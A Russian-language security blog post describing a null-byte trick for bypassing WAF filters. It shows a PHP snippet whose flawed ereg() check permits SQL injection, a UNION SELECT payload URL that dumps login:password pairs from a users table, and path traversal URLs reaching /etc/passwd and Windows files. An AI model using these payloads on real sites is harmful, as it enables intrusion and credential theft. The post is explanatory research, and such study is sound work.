На прошлой неделе исследовал программный WAF (web application firewall). И в процессе поиска путей обхода фильтров наткнулся на интересный способ эксплуатации уязвимости SQL Injection с использованием null-byte. Суть его заключается в следующем. Предположим, что у нас имеется следующий php-код:
1. ... 2. if (ereg ("^(.){1,3}$", $_GET['id'], $regs)) {
3. mysql_query("SELECT id,email FROM members where id=".$_GET['id']);
4. ...
name='more'>
Тогда, с использованием null-byte возможно осуществить внедрение операторов SQL. Под mysql запрос для проведения атаки будет выглядеть примерно так:
http://target/?id=1/*%00*/union+select+id,concat_ws(0x3a,login,password)+from+users
Подобная атака становиться возможной по причине имеющихся недостатков в функциях ereg(), eregi() и др.
К слову, про использование null-byte. Пару месяцев назад Raz0r опубликовал материалы исследования по теме замены null-byte при эксплуатации уязвимостей path traversal на web-сервере использующем php. Данный вектор станет полезным, например, в случаях, когда включен magic_quotes или используется некоторая фильтрация входящих параметров.
Если кратко, то для пхп текущей версии и ниже, следующие конструкции являются равнозначными:
- для win
http://target/?file=non/../../../../Documents%20and%20Settings/Default%20User/Local%20Settings/desktop.ini%00
http://target/?file=non/../../../../Documents%20and%20Settings/Default%20User/Local%20Settings/desktop.ini...[1024]...
- для nix
http://target/?file=non/../../../../../etc/passwd%00
http://target/?file=non/../../../../../etc/passwd/././.[1024-4096]/././.
Ссылка на оригинальное исследование.
Обращаем внимание, что все материалы в этом блоге представляют личное мнение их авторов. Редакция SecurityLab.ru не несет ответственности за точность, полноту и достоверность опубликованных данных. Вся информация предоставлена «как есть» и может не соответствовать официальной позиции компании.
Эксклюзивный стрим с хакерами мирового класса
15 апреля в 19:00 Hussein и Niksthehacker раскроют все карты.